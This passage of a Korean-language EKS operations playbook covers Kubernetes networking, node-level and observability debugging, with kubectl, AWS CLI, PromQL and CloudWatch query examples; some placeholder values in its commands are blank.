curl -v http://..svc.cluster.local
```
#### Default Deny 후 Allow 누락
```yaml
# Default Deny (모든 ingress 차단)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: default-deny-ingress
namespace: production
spec:
podSelector: {}
policyTypes:
- Ingress
# ingress 규칙 없음 → 모든 ingress 차단
```
```yaml
# Allow 규칙 추가 (특정 트래픽 허용)
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: allow-from-frontend
namespace: production
spec:
podSelector:
matchLabels:
app: backend
ingress:
- from:
- podSelector:
matchLabels:
app: frontend
ports:
- protocol: TCP
port: 8080
```
:::warning Default Deny는 신중하게
Default Deny NetworkPolicy를 적용하면 명시적으로 허용하지 않은 모든 트래픽이 차단됩니다. 프로덕션에 적용하기 전에 필요한 Allow 규칙을 모두 작성하고 테스트 환경에서 검증하세요.
:::
## netshoot 활용법
[netshoot](https://github.com/nicolaka/netshoot)은 네트워크 디버깅에 필요한 모든 도구가 포함된 컨테이너 이미지입니다.
```bash
# 기존 Pod에 ephemeral container로 추가
kubectl debug -it --image=nicolaka/netshoot
# 독립 디버깅 Pod 실행
kubectl run tmp-shell --rm -i --tty --image nicolaka/netshoot
# 내부에서 사용할 수 있는 도구 예시:
# - curl, wget: HTTP 테스트
# - dig, nslookup: DNS 테스트
# - tcpdump: 패킷 캡처
# - iperf3: 대역폭 테스트
# - ss, netstat: 소켓 상태 확인
# - traceroute, mtr: 경로 추적
```
### 실전 디버깅 시나리오: Pod 간 통신 확인
```bash
# netshoot Pod에서 다른 Service로 연결 테스트
kubectl run tmp-shell --rm -i --tty --image nicolaka/netshoot -- bash
# DNS 해석 확인
dig ..svc.cluster.local
# TCP 연결 테스트
curl -v http://..svc.cluster.local:/health
# 패킷 캡처 (특정 Pod IP로의 트래픽)
tcpdump -i any host -n
# 경로 추적
traceroute
# 소켓 상태 확인
ss -tunap
```
## Ingress / LoadBalancer 디버깅
### AWS Load Balancer Controller 문제
```bash
# Controller 상태 확인
kubectl get pods -n kube-system -l app.kubernetes.io/name=aws-load-balancer-controller
# Controller 로그 확인
kubectl logs -n kube-system -l app.kubernetes.io/name=aws-load-balancer-controller --tail=100
# Ingress 상태 확인
kubectl describe ingress
```
### Target Group Health Check 실패
AWS Load Balancer에서 Target Group의 Health Check가 실패하는 경우는 [Health Check 불일치 문서](./health-check-mismatch.md)를 참조하세요.
**일반적인 원인**:
- Health Check path가 Pod의 실제 endpoint와 불일치
- Health Check port가 Pod의 containerPort와 불일치
- Security Group에서 Health Check 포트 미허용
- readinessProbe 실패로 Pod이 NotReady 상태
```bash
# Target Group Health 확인
aws elbv2 describe-target-health \
--target-group-arn
# Security Group Inbound 규칙 확인
aws ec2 describe-security-groups \
--group-ids \
--query 'SecurityGroups[].IpPermissions'
```
## 네트워킹 문제 체크리스트
### Layer 3/4 (기본 연결성)
- [ ] Pod이 IP를 할당받았는가? (`kubectl get pod -o wide`)
- [ ] 서브넷에 사용 가능한 IP가 있는가?
- [ ] Security Group이 필요한 포트를 허용하는가?
- [ ] NetworkPolicy가 트래픽을 차단하지 않는가?
### Layer 7 (애플리케이션)
- [ ] Service selector와 Pod label이 일치하는가?
- [ ] Service port와 Pod containerPort가 일치하는가?
- [ ] DNS 해석이 정상인가? (`nslookup `)
- [ ] Pod의 readinessProbe가 성공하는가?
- [ ] Ingress Health Check path가 올바른가?
### DNS 특화
- [ ] CoreDNS Pod이 Running 상태인가?
- [ ] CoreDNS가 OOMKilled되지 않았는가?
- [ ] ndots 설정이 적절한가? (외부 도메인 다수 호출 시 ndots:2 권장)
- [ ] NodeLocal DNSCache가 설치되어 있는가? (대규모 클러스터)
---
## 관련 문서
- [워크로드 디버깅](./workload.md) - Pod 상태별 문제 해결
- [스토리지 디버깅](./storage.md) - PVC 마운트 실패
- [Health Check 불일치](./health-check-mismatch.md) - ALB/NLB Target Group Health Check 문제
---
# 노드 레벨 디버깅
> EKS 노드 문제 진단 및 해결 가이드
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability/eks-debugging/node
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, kubernetes, node, debugging, troubleshooting, karpenter
import { NodeGroupErrorTable } from '@site/src/components/EksDebugTables';
## 노드 조인 실패 디버깅
노드가 클러스터에 조인하지 못하는 경우 다양한 원인이 있습니다. 다음은 가장 흔한 8가지 원인과 진단 방법입니다.
**노드 조인 실패의 일반적인 원인:**
1. **aws-auth ConfigMap에 노드 IAM Role이 등록되지 않음** (또는 Access Entry 미생성) — 노드가 API 서버에 인증할 수 없음
2. **부트스트랩 스크립트의 ClusterName이 실제 클러스터명과 불일치** — kubelet이 잘못된 클러스터에 연결 시도
3. **노드 보안그룹이 컨트롤 플레인과의 통신을 허용하지 않음** — TCP 443 (API 서버), TCP 10250 (kubelet) 포트가 필요
4. **퍼블릭 서브넷에서 auto-assign public IP가 비활성화됨** — 퍼블릭 엔드포인트만 활성화된 클러스터에서 인터넷 접근 불가
5. **VPC DNS 설정 문제** — `enableDnsHostnames`, `enableDnsSupport`가 비활성화됨
6. **STS 리전 엔드포인트가 비활성화됨** — IAM 인증 시 STS 호출 실패
7. **인스턴스 프로파일 ARN을 노드 IAM Role ARN 대신 aws-auth에 등록** — aws-auth에는 Role ARN만 등록해야 함
8. **`eks:kubernetes.io/cluster-name` 태그 누락** (자체관리형 노드) — EKS가 노드를 클러스터 소속으로 인식하지 못함
**진단 명령어:**
```bash
# 노드 부트스트랩 로그 확인 (SSM 접속 후)
sudo journalctl -u kubelet --no-pager | tail -50
sudo cat /var/log/cloud-init-output.log | tail -50
# 보안그룹 규칙 확인
aws ec2 describe-security-groups --group-ids $CLUSTER_SG \
--query 'SecurityGroups[].IpPermissions' --output table
# VPC DNS 설정 확인
aws ec2 describe-vpc-attribute --vpc-id $VPC_ID --attribute enableDnsHostnames
aws ec2 describe-vpc-attribute --vpc-id $VPC_ID --attribute enableDnsSupport
```
:::warning aws-auth에 등록할 ARN
aws-auth ConfigMap에는 인스턴스 프로파일 ARN (`arn:aws:iam::ACCOUNT:instance-profile/...`)이 아닌, **IAM Role ARN** (`arn:aws:iam::ACCOUNT:role/...`)을 등록해야 합니다. 이 실수는 매우 빈번하며 노드 조인 실패의 주요 원인입니다.
:::
## Node NotReady Decision Tree
```mermaid
flowchart TD
NR["`**Node NotReady**`"] --> CHECK_INST{"`EC2 인스턴스
상태 확인`"}
CHECK_INST -->|Stopped/Terminated| INST_ISSUE["`인스턴스 재시작
또는 새 노드 프로비저닝`"]
CHECK_INST -->|Running| CHECK_KUBELET{"`kubelet 상태
확인`"}
CHECK_KUBELET -->|Not Running| KUBELET_FIX["`kubelet 재시작
systemctl restart kubelet`"]
CHECK_KUBELET -->|Running| CHECK_CONTAINERD{"`containerd
상태 확인`"}
CHECK_CONTAINERD -->|Not Running| CONTAINERD_FIX["`containerd 재시작
systemctl restart containerd`"]
CHECK_CONTAINERD -->|Running| CHECK_RESOURCE{"`리소스 압박
확인`"}
CHECK_RESOURCE -->|DiskPressure| DISK_FIX["`디스크 정리
crictl rmi --prune`"]
CHECK_RESOURCE -->|MemoryPressure| MEM_FIX["`저우선순위 Pod 축출
또는 노드 교체`"]
CHECK_RESOURCE -->|정상| CHECK_NET{"`노드 네트워크
확인`"}
CHECK_NET --> NET_FIX["`Security Group / NACL
/ VPC 라우팅 점검`"]
style NR fill:#ff4444,stroke:#cc3636,color:#fff
style INST_ISSUE fill:#34a853,stroke:#2a8642,color:#fff
style KUBELET_FIX fill:#34a853,stroke:#2a8642,color:#fff
style CONTAINERD_FIX fill:#34a853,stroke:#2a8642,color:#fff
style DISK_FIX fill:#34a853,stroke:#2a8642,color:#fff
style MEM_FIX fill:#34a853,stroke:#2a8642,color:#fff
style NET_FIX fill:#34a853,stroke:#2a8642,color:#fff
```
## kubelet / containerd 디버깅
```bash
# SSM을 통한 노드 접속
aws ssm start-session --target
# kubelet 상태 확인
systemctl status kubelet
journalctl -u kubelet -n 100 -f
# containerd 상태 확인
systemctl status containerd
# 컨테이너 런타임 상태 확인
crictl pods
crictl ps -a
# 특정 컨테이너 로그 확인
crictl logs
```
:::info SSM 접속 사전 요구사항
SSM 접속을 위해서는 노드의 IAM Role에 `AmazonSSMManagedInstanceCore` 정책이 연결되어 있어야 합니다. EKS 관리형 노드 그룹에서는 기본 포함되지만, 커스텀 AMI를 사용하는 경우 SSM Agent 설치를 확인하세요.
:::
## 리소스 압박 진단 및 해결
```bash
# 노드 상태 확인
kubectl describe node
```
| Condition | 임계값 | 진단 명령어 | 해결 방법 |
|-----------|--------|-----------|----------|
| **DiskPressure** | 사용 가능 디스크 < 10% | `df -h` (SSM 접속 후) | `crictl rmi --prune` 으로 미사용 이미지 정리, `crictl rm` 으로 중지된 컨테이너 삭제 |
| **MemoryPressure** | 사용 가능 메모리 < 100Mi | `free -m` (SSM 접속 후) | 저우선순위 Pod 축출, 메모리 requests/limits 조정, 노드 교체 |
| **PIDPressure** | 사용 가능 PID < 5% | `ps aux \| wc -l` (SSM 접속 후) | `kernel.pid_max` 증가, PID leak 원인 컨테이너 식별 및 재시작 |
## Karpenter 노드 프로비저닝 디버깅
```bash
# Karpenter 컨트롤러 로그 확인
kubectl logs -f deployment/karpenter -n kube-system
# NodePool 상태 확인
kubectl get nodepool
kubectl describe nodepool
# EC2NodeClass 확인
kubectl get ec2nodeclass
kubectl describe ec2nodeclass
# 프로비저닝 실패 시 확인 사항:
# 1. NodePool의 limits가 초과되지 않았는지
# 2. EC2NodeClass의 서브넷/보안그룹 셀렉터가 올바른지
# 3. 인스턴스 타입에 대한 Service Quotas가 충분한지
# 4. Pod의 nodeSelector/affinity가 NodePool requirements와 매칭되는지
```
:::warning Karpenter v1 API 변경사항
Karpenter v1.0(v1 API)부터 `Provisioner` → `NodePool`, `AWSNodeTemplate` → `EC2NodeClass`로 변경되었습니다(최신 v1.13+). 기존 v0.x 설정을 사용 중이라면 마이그레이션이 필요합니다. API 그룹도 `karpenter.sh/v1`로 업데이트하세요.
:::
## Managed Node Group 에러 코드
Managed Node Group의 헬스 상태를 확인하여 프로비저닝 및 운영 문제를 진단합니다.
```bash
# 노드 그룹 헬스 상태 확인
aws eks describe-nodegroup --cluster-name $CLUSTER --nodegroup-name $NODEGROUP \
--query 'nodegroup.health' --output json
```
**AccessDenied 에러 복구 — eks:node-manager ClusterRole 확인:**
`AccessDenied` 에러는 주로 `eks:node-manager` ClusterRole 또는 ClusterRoleBinding이 삭제되거나 변경된 경우 발생합니다.
```bash
# eks:node-manager ClusterRole 확인
kubectl get clusterrole eks:node-manager
kubectl get clusterrolebinding eks:node-manager
```
:::danger AccessDenied 복구
`eks:node-manager` ClusterRole/ClusterRoleBinding이 누락된 경우, EKS는 이를 **자동으로 복원하지 않습니다**. 다음 방법으로 직접 복구해야 합니다:
**방법 1: 수동 재생성 (권장)**
```yaml
# eks-node-manager-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: eks:node-manager
rules:
- apiGroups: ['']
resources: [pods]
verbs: [get, list, watch, delete]
- apiGroups: ['']
resources: [nodes]
verbs: [get, list, watch, patch]
- apiGroups: ['']
resources: [pods/eviction]
verbs: [create]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: eks:node-manager
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: eks:node-manager
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: User
name: eks:node-manager
```
```bash
kubectl auth reconcile -f eks-node-manager-role.yaml
```
**방법 2: 노드 그룹 재생성**
```bash
# 새 노드 그룹 생성 시 RBAC 리소스가 함께 생성됨
eksctl create nodegroup --cluster= --name=
```
**방법 3: 노드 그룹 업그레이드**
```bash
# 업그레이드 과정에서 RBAC 재설정이 트리거될 수 있음
eksctl upgrade nodegroup --cluster= --name=
```
> **참고**: Kubernetes 기본 시스템 ClusterRole(`system:*`)은 API 서버가 자동 reconcile하지만, EKS 전용 ClusterRole(`eks:*`)은 자동 복원 대상이 아닙니다. RBAC 리소스를 삭제하기 전에 반드시 백업하세요.
:::
## Node Readiness Controller를 활용한 노드 부트스트랩 디버깅
:::info Kubernetes 새 기능 (2026년 2월)
[Node Readiness Controller](https://github.com/kubernetes-sigs/node-readiness-controller)는 Kubernetes 공식 블로그에서 발표된 새로운 프로젝트로, 노드 부트스트랩 과정에서 발생하는 조기 스케줄링 문제를 선언적으로 해결합니다.
:::
### 문제 상황
기존 Kubernetes에서는 노드가 `Ready` 상태가 되면 즉시 워크로드가 스케줄링됩니다. 하지만 실제로는 아직 준비가 완료되지 않은 경우가 많습니다:
| 미완료 구성 요소 | 증상 | 영향 |
|---|---|---|
| GPU 드라이버/펌웨어 로딩 중 | `nvidia-smi` 실패, Pod `CrashLoopBackOff` | GPU 워크로드 실패 |
| CNI 플러그인 초기화 중 | Pod IP 미할당, `NetworkNotReady` | 네트워크 통신 불가 |
| CSI 드라이버 미등록 | PVC `Pending`, volume mount 실패 | 스토리지 접근 불가 |
| 보안 에이전트 미설치 | 컴플라이언스 위반 | 보안 정책 미충족 |
### Node Readiness Controller 동작 원리
Node Readiness Controller는 **커스텀 taint를 선언적으로 관리**하여, 모든 인프라 요구사항이 충족될 때까지 워크로드 스케줄링을 지연시킵니다:
```mermaid
flowchart LR
A[노드 프로비저닝] --> B[kubelet Ready]
B --> C[커스텀 Taint 부여
node.readiness/gpu=NotReady:NoSchedule
node.readiness/cni=NotReady:NoSchedule]
C --> D{헬스 시그널 확인}
D -->|GPU 준비 완료| E[GPU Taint 제거]
D -->|CNI 준비 완료| F[CNI Taint 제거]
E --> G{모든 Taint 제거?}
F --> G
G -->|Yes| H[워크로드 스케줄링 시작]
G -->|No| D
```
### 디버깅 체크리스트
노드가 `Ready`인데 Pod가 스케줄링되지 않는 경우:
```bash
# 1. 노드의 커스텀 readiness taint 확인
kubectl get node -o jsonpath='{.spec.taints}' | jq .
# 2. node.readiness 관련 taint 필터링
kubectl get nodes -o json | jq '
.items[] |
select(.spec.taints // [] | any(.key | startswith("node.readiness"))) |
{name: .metadata.name, taints: [.spec.taints[] | select(.key | startswith("node.readiness"))]}
'
# 3. Pod의 tolerations와 노드 taint 불일치 확인
kubectl describe pod | grep -A 20 "Events:"
```
### 관련 기능: Pod Scheduling Readiness (K8s 1.30 GA)
`schedulingGates`를 사용하면 Pod 측에서도 스케줄링 준비 상태를 제어할 수 있습니다:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: gated-pod
spec:
schedulingGates:
- name: "example.com/gpu-validation" # 이 gate가 제거될 때까지 스케줄링 대기
containers:
- name: app
image: app:latest
```
```bash
# schedulingGates가 있는 Pod 확인
kubectl get pods -o json | jq '
.items[] |
select(.spec.schedulingGates != null and (.spec.schedulingGates | length > 0)) |
{name: .metadata.name, namespace: .metadata.namespace, gates: .spec.schedulingGates}
'
```
### 관련 기능: Pod Readiness Gates (AWS LB Controller)
AWS Load Balancer Controller는 `elbv2.k8s.aws/pod-readiness-gate-inject` 어노테이션을 통해 Pod가 ALB/NLB 타겟 등록이 완료될 때까지 `Ready` 상태 전환을 지연시킵니다:
```bash
# Readiness Gate 상태 확인
kubectl get pod -o jsonpath='{.status.conditions}' | jq '
[.[] | select(.type | contains("target-health"))]
'
# Namespace에 readiness gate injection 활성화 확인
kubectl get namespace -o jsonpath='{.metadata.labels.elbv2\.k8s\.aws/pod-readiness-gate-inject}'
```
:::tip Readiness 기능 비교
| 기능 | 적용 대상 | 제어 방식 | 상태 |
|------|-----------|-----------|------|
| **Node Readiness Controller** | 노드 | Taint 기반 | New (2026.02) |
| **Pod Scheduling Readiness** | Pod | schedulingGates | GA (K8s 1.30) |
| **Pod Readiness Gates** | Pod | Readiness Conditions | GA (AWS LB Controller) |
:::
## eks-node-viewer 사용법
[eks-node-viewer](https://github.com/awslabs/eks-node-viewer)는 노드의 리소스 사용률을 터미널에서 실시간으로 시각화하는 도구입니다.
```bash
# 기본 사용 (CPU 기준)
eks-node-viewer
# CPU와 메모리 함께 확인
eks-node-viewer --resources cpu,memory
# 특정 NodePool만 확인
eks-node-viewer --node-selector karpenter.sh/nodepool=
```
## 관련 문서
- [EKS 디버깅 가이드 (메인)](./index.md) - 전체 디버깅 가이드
- [컨트롤 플레인 디버깅](./control-plane.md) - 컨트롤 플레인 문제 진단
- [워크로드 디버깅](./workload.md) - Pod 및 워크로드 문제 진단
- [네트워킹 디버깅](./networking.md) - 네트워크 문제 진단
---
# 옵저버빌리티 및 모니터링
> EKS 옵저버빌리티 스택 구성 및 인시던트 디텍팅 전략 - Container Insights, Prometheus, ADOT
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/operations-reliability/eks-debugging/observability
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, kubernetes, observability, monitoring, prometheus, adot
import { IncidentEscalationTable, ZonalShiftImpactTable } from '@site/src/components/EksDebugTables';
## 옵저버빌리티 스택 아키텍처
```mermaid
flowchart TB
subgraph "데이터 소스"
APPS["`Applications
(메트릭 / 로그 / 트레이스)`"]
K8S["`Kubernetes
(이벤트 / 메트릭)`"]
NODES["`Nodes
(시스템 메트릭)`"]
end
subgraph "수집 레이어"
ADOT["`ADOT Collector
(OpenTelemetry)`"]
CWA["`CloudWatch Agent
(Container Insights)`"]
PROM["`Prometheus
(kube-state-metrics)`"]
end
subgraph "저장 및 분석"
CW["`CloudWatch
Logs & Metrics`"]
AMP["`Amazon Managed
Prometheus`"]
GRAF["`Grafana
(대시보드)`"]
end
subgraph "알림"
ALARM["`CloudWatch Alarms`"]
AM["`Alertmanager`"]
SNS["`SNS / PagerDuty
/ Slack`"]
end
APPS --> ADOT
APPS --> CWA
K8S --> PROM
NODES --> CWA
ADOT --> CW
ADOT --> AMP
CWA --> CW
PROM --> AMP
AMP --> GRAF
CW --> GRAF
CW --> ALARM
AMP --> AM
ALARM --> SNS
AM --> SNS
style ADOT fill:#ff9900,stroke:#cc7a00,color:#fff
style CW fill:#ff9900,stroke:#cc7a00,color:#fff
style AMP fill:#ff9900,stroke:#cc7a00,color:#fff
style PROM fill:#4286f4,stroke:#2a6acf,color:#fff
style GRAF fill:#34a853,stroke:#2a8642,color:#fff
```
## Container Insights 설정
```bash
# Container Insights Add-on 설치
aws eks create-addon \
--cluster-name \
--addon-name amazon-cloudwatch-observability
# 설치 확인
kubectl get pods -n amazon-cloudwatch
```
## 메트릭 디버깅: PromQL 쿼리
### CPU Throttling 감지
```promql
sum(rate(container_cpu_cfs_throttled_periods_total{namespace="production"}[5m]))
/ sum(rate(container_cpu_cfs_periods_total{namespace="production"}[5m])) > 0.25
```
:::info CPU Throttling 임계값
25% 이상의 throttling은 성능 저하를 유발합니다. CPU limits를 제거하거나 증가시키는 것을 고려하세요. 많은 조직이 CPU limits를 설정하지 않고 requests만 설정하는 전략을 채택하고 있습니다.
:::
### OOMKilled 감지
```promql
kube_pod_container_status_last_terminated_reason{reason="OOMKilled"} > 0
```
### Pod 재시작률
```promql
sum(rate(kube_pod_container_status_restarts_total[15m])) by (namespace, pod) > 0
```
### Node CPU 사용률 (80% 초과 경고)
```promql
100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 80
```
### Node 메모리 사용률 (85% 초과 경고)
```promql
(1 - node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes) * 100 > 85
```
## 로그 디버깅: CloudWatch Logs Insights
### 에러 로그 분석
```sql
fields @timestamp, @message, kubernetes.container_name, kubernetes.pod_name
| filter @message like /ERROR|FATAL|Exception/
| sort @timestamp desc
| limit 50
```
### 레이턴시 분석
```sql
fields @timestamp, @message
| filter @message like /latency|duration|elapsed/
| parse @message /latency[=:]\s*(?\d+)/
| stats avg(latency_ms), max(latency_ms), p99(latency_ms) by bin(5m)
```
### 특정 Pod의 에러 패턴 분석
```sql
fields @timestamp, @message
| filter kubernetes.pod_name like /api-server/
| filter @message like /error|Error|ERROR/
| stats count() by bin(1m)
| sort bin asc
```
### OOMKilled 이벤트 추적
```sql
fields @timestamp, @message
| filter @message like /OOMKilled|oom-kill|Out of memory/
| sort @timestamp desc
| limit 20
```
### 컨테이너 재시작 이벤트
```sql
fields @timestamp, @message, kubernetes.pod_name
| filter @message like /Back-off restarting failed container|CrashLoopBackOff/
| stats count() by kubernetes.pod_name
| sort count desc
```
## 알림 규칙: PrometheusRule 예제
```yaml
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
name: kubernetes-alerts
spec:
groups:
- name: kubernetes-pods
rules:
- alert: PodCrashLooping
expr: rate(kube_pod_container_status_restarts_total[15m]) * 60 * 5 > 0
for: 1h
labels:
severity: warning
annotations:
summary: "Pod {{ $labels.namespace }}/{{ $labels.pod }} is crash looping"
description: "Pod {{ $labels.pod }}이 15분간 재시작이 감지되었습니다."
- alert: PodOOMKilled
expr: kube_pod_container_status_last_terminated_reason{reason="OOMKilled"} > 0
for: 0m
labels:
severity: critical
annotations:
summary: "Pod {{ $labels.namespace }}/{{ $labels.pod }} OOMKilled"
description: "Pod {{ $labels.pod }}이 메모리 부족으로 종료되었습니다. 메모리 limits 조정이 필요합니다."
- name: kubernetes-nodes
rules:
- alert: NodeNotReady
expr: kube_node_status_condition{condition="Ready",status="true"} == 0
for: 5m
labels:
severity: critical
annotations:
summary: "Node {{ $labels.node }} is NotReady"
- alert: NodeHighCPU
expr: 100 - (avg by(instance)(rate(node_cpu_seconds_total{mode="idle"}[5m])) * 100) > 80
for: 10m
labels:
severity: warning
annotations:
summary: "Node {{ $labels.instance }} CPU usage above 80%"
- alert: NodeHighMemory
expr: (1 - node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes) * 100 > 85
for: 10m
labels:
severity: warning
annotations:
summary: "Node {{ $labels.instance }} memory usage above 85%"
```
## ADOT (AWS Distro for OpenTelemetry) 디버깅
ADOT는 AWS에서 관리하는 OpenTelemetry 배포판으로, 트레이스, 메트릭, 로그를 수집하여 다양한 AWS 서비스(X-Ray, CloudWatch, AMP 등)로 전송합니다.
```bash
# ADOT Add-on 상태 확인
aws eks describe-addon --cluster-name $CLUSTER \
--addon-name adot --query 'addon.{status:status,version:addonVersion}'
# ADOT Collector Pod 확인
kubectl get pods -n opentelemetry-operator-system
kubectl logs -n opentelemetry-operator-system -l app.kubernetes.io/name=opentelemetry-operator --tail=50
# OpenTelemetryCollector CR 확인
kubectl get otelcol -A
kubectl describe otelcol -n $NAMESPACE $COLLECTOR_NAME
```
### ADOT 일반적인 문제
| 증상 | 원인 | 해결 방법 |
|------|------|----------|
| Operator Pod `CrashLoopBackOff` | CertManager 미설치 | ADOT operator의 webhook 인증서 관리에 CertManager가 필요. `kubectl apply -f https://github.com/cert-manager/cert-manager/releases/download/v1.13.0/cert-manager.yaml` |
| Collector에서 AMP로 전송 실패 | IAM 권한 부족 | IRSA/Pod Identity에 `aps:RemoteWrite` 권한 추가 |
| X-Ray 트레이스 미수신 | IAM 권한 부족 | IRSA/Pod Identity에 `xray:PutTraceSegments`, `xray:PutTelemetryRecords` 권한 추가 |
| CloudWatch 메트릭 미수신 | IAM 권한 부족 | IRSA/Pod Identity에 `cloudwatch:PutMetricData` 권한 추가 |
| Collector Pod `OOMKilled` | 리소스 부족 | 대량 트레이스/메트릭 수집 시 Collector의 resources.limits.memory 증가 |
:::warning ADOT 권한 분리
AMP remote write, X-Ray, CloudWatch에 각각 다른 IAM 권한이 필요합니다. Collector가 여러 백엔드로 데이터를 전송하는 경우 모든 필요 권한이 IAM Role에 포함되어 있는지 확인하세요.
:::
---
## 인시던트 디텍팅 메커니즘 및 로깅 아키텍처
### 인시던트 디텍팅 전략 개요
EKS 환경에서 인시던트를 신속하게 감지하려면 **데이터 소스 → 수집 → 분석 & 탐지 → 알림 & 대응**의 4계층 파이프라인을 체계적으로 구성해야 합니다. 각 계층이 유기적으로 연결되어야 MTTD(Mean Time To Detect)를 최소화할 수 있습니다.
```mermaid
flowchart TB
subgraph Sources["데이터 소스"]
CP["`**Control Plane Logs**
API Server, Audit,
Authenticator`"]
DP["`**Data Plane Logs**
kubelet, containerd,
Application`"]
MT["`**Metrics**
Prometheus, CloudWatch,
Custom Metrics`"]
TR["`**Traces**
X-Ray, ADOT,
Jaeger`"]
end
subgraph Collection["수집 계층"]
FB["`**Fluent Bit**
DaemonSet`"]
CWA["`**CloudWatch Agent**
Container Insights`"]
ADOT["`**ADOT Collector**
OpenTelemetry`"]
end
subgraph Analysis["분석 & 탐지"]
CWL["`**CloudWatch Logs**
Logs Insights`"]
AMP["`**Amazon Managed
Prometheus**`"]
OS["`**OpenSearch**
Log Analytics`"]
CWAD["`**CloudWatch
Anomaly Detection**`"]
end
subgraph Alert["알림 & 대응"]
CWA2["`**CloudWatch Alarms**
Composite Alarms`"]
AM["`**Alertmanager**
Routing & Silencing`"]
SNS["`**SNS → Lambda**
Auto-remediation`"]
PD["`**PagerDuty / Slack**
On-call Notification`"]
end
CP --> FB
DP --> FB
MT --> CWA
MT --> ADOT
TR --> ADOT
FB --> CWL
FB --> OS
CWA --> CWL
ADOT --> AMP
ADOT --> CWL
CWL --> CWAD
AMP --> AM
CWAD --> CWA2
CWA2 --> SNS
AM --> PD
SNS --> PD
style CP fill:#4286f4,stroke:#2a6acf,color:#fff
style DP fill:#4286f4,stroke:#2a6acf,color:#fff
style MT fill:#34a853,stroke:#2a8642,color:#fff
style TR fill:#34a853,stroke:#2a8642,color:#fff
style FB fill:#ff9900,stroke:#cc7a00,color:#fff
style CWA fill:#ff9900,stroke:#cc7a00,color:#fff
style ADOT fill:#ff9900,stroke:#cc7a00,color:#fff
style CWL fill:#4286f4,stroke:#2a6acf,color:#fff
style AMP fill:#4286f4,stroke:#2a6acf,color:#fff
style OS fill:#4286f4,stroke:#2a6acf,color:#fff
style CWAD fill:#fbbc04,stroke:#c99603,color:#000
style CWA2 fill:#ff4444,stroke:#cc3636,color:#fff
style AM fill:#ff4444,stroke:#cc3636,color:#fff
style SNS fill:#ff4444,stroke:#cc3636,color:#fff
style PD fill:#ff4444,stroke:#cc3636,color:#fff
```
#### 4계층 아키텍처 설명
| 계층 | 역할 | 핵심 구성 요소 |
|---|---|---|
| **데이터 소스** | 클러스터의 모든 관찰 가능한 신호를 생성 | Control Plane Logs, Data Plane Logs, Metrics, Traces |
| **수집 계층** | 다양한 소스의 데이터를 표준화하여 중앙으로 전달 | Fluent Bit, CloudWatch Agent, ADOT Collector |
| **분석 & 탐지** | 수집된 데이터를 분석하고 이상을 탐지 | CloudWatch Logs Insights, AMP, OpenSearch, Anomaly Detection |
| **알림 & 대응** | 탐지된 인시던트를 적절한 채널로 통보하고 자동 복구 실행 | CloudWatch Alarms, Alertmanager, SNS → Lambda, PagerDuty/Slack |
### 추천 로깅 아키텍처
#### Option A: AWS 네이티브 스택 (소규모~중규모 클러스터)
AWS 관리형 서비스를 중심으로 구성하여 운영 부담을 최소화하는 아키텍처입니다.
| 계층 | 구성 요소 | 용도 |
|---|---|---|
| 수집 | Fluent Bit (DaemonSet) | 노드/컨테이너 로그 수집 |
| 전송 | CloudWatch Logs | 중앙 로그 저장소 |
| 분석 | CloudWatch Logs Insights | 쿼리 기반 분석 |
| 탐지 | CloudWatch Anomaly Detection | ML 기반 이상 탐지 |
| 알림 | CloudWatch Alarms → SNS | 임계값/이상 기반 알림 |
**Fluent Bit DaemonSet 배포 예제:**
```yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
name: fluent-bit
namespace: amazon-cloudwatch
labels:
app.kubernetes.io/name: fluent-bit
spec:
selector:
matchLabels:
app.kubernetes.io/name: fluent-bit
template:
metadata:
labels:
app.kubernetes.io/name: fluent-bit
spec:
serviceAccountName: fluent-bit
containers:
- name: fluent-bit
image: public.ecr.aws/aws-observability/aws-for-fluent-bit:2.32.0
resources:
limits:
memory: 200Mi
requests:
cpu: 100m
memory: 100Mi
volumeMounts:
- name: varlog
mountPath: /var/log
readOnly: true
- name: varlogpods
mountPath: /var/log/pods
readOnly: true
- name: fluent-bit-config
mountPath: /fluent-bit/etc/
volumes:
- name: varlog
hostPath:
path: /var/log
- name: varlogpods
hostPath:
path: /var/log/pods
- name: fluent-bit-config
configMap:
name: fluent-bit-config
```
:::tip Fluent Bit vs Fluentd
Fluent Bit은 Fluentd보다 메모리 사용량이 10배 이상 적습니다 (~10MB vs ~100MB). EKS 환경에서는 Fluent Bit을 DaemonSet으로 배포하는 것이 표준 패턴입니다. `amazon-cloudwatch-observability` Add-on을 사용하면 Fluent Bit이 자동으로 설치됩니다.
:::
#### Option B: 오픈소스 기반 스택 (대규모 클러스터 / 멀티 클러스터)
오픈소스 도구와 AWS 관리형 서비스를 조합하여 대규모 환경에서의 확장성과 유연성을 확보하는 아키텍처입니다.
| 계층 | 구성 요소 | 용도 |
|---|---|---|
| 수집 | Fluent Bit + ADOT Collector | 로그/메트릭/트레이스 통합 수집 |
| 메트릭 | Amazon Managed Prometheus (AMP) | 시계열 메트릭 저장 |
| 로그 | Amazon OpenSearch Service | 대규모 로그 분석 |
| 트레이스 | AWS X-Ray / Jaeger | 분산 추적 |
| 시각화 | Amazon Managed Grafana | 통합 대시보드 |
| 알림 | Alertmanager + PagerDuty/Slack | 고급 라우팅, 그룹핑, 사일런싱 |
:::info 멀티 클러스터 아키텍처
멀티 클러스터 환경에서는 각 클러스터의 ADOT Collector가 중앙 AMP 워크스페이스로 메트릭을 전송하는 허브-스포크 구조를 권장합니다. Grafana에서 단일 대시보드로 모든 클러스터를 모니터링할 수 있습니다.
:::
### 인시던트 디텍팅 패턴
